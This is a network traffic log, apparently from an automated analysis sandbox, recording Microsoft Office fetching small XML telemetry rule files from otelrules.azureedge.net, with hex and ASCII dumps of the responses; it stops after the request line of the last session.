2024-11-20 17:57:20 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:20 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175720Z-r1d97b9957744xz5hC1TEB5bf8000000093000000000akfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:20 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175720Z-1777c6cb754j8gqphC1TEB5bf800000009u000000000muky x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:20 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:21 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175720Z-185f5d8b95crwqd8hC1NYCps680000000adg000000017ths x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175722Z-r1d97b99577lxltfhC1TEByw2s000000097000000000frk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175722Z-185f5d8b95cjbkr4hC1NYCeu240000000ad000000000nvas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e563634e-601e-000d-3bed-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175722Z-185f5d8b95c68cvnhC1NYCfn7s0000000agg00000000u41f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175723Z-1777c6cb7544nvmshC1TEBf7qc00000009v0000000001fwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:23 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175723Z-185f5d8b95cdcwrthC1NYCy5b80000000aeg00000000zrkb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175725Z-1777c6cb754dqf99hC1TEB5nps00000009pg00000000vv6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:25 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175725Z-185f5d8b95ckwnflhC1NYCx9qs0000000an000000000mp7w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:25 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:25 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175725Z-185f5d8b95cqnkdjhC1NYCm8w80000000agg000000003kqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:25 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:25 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
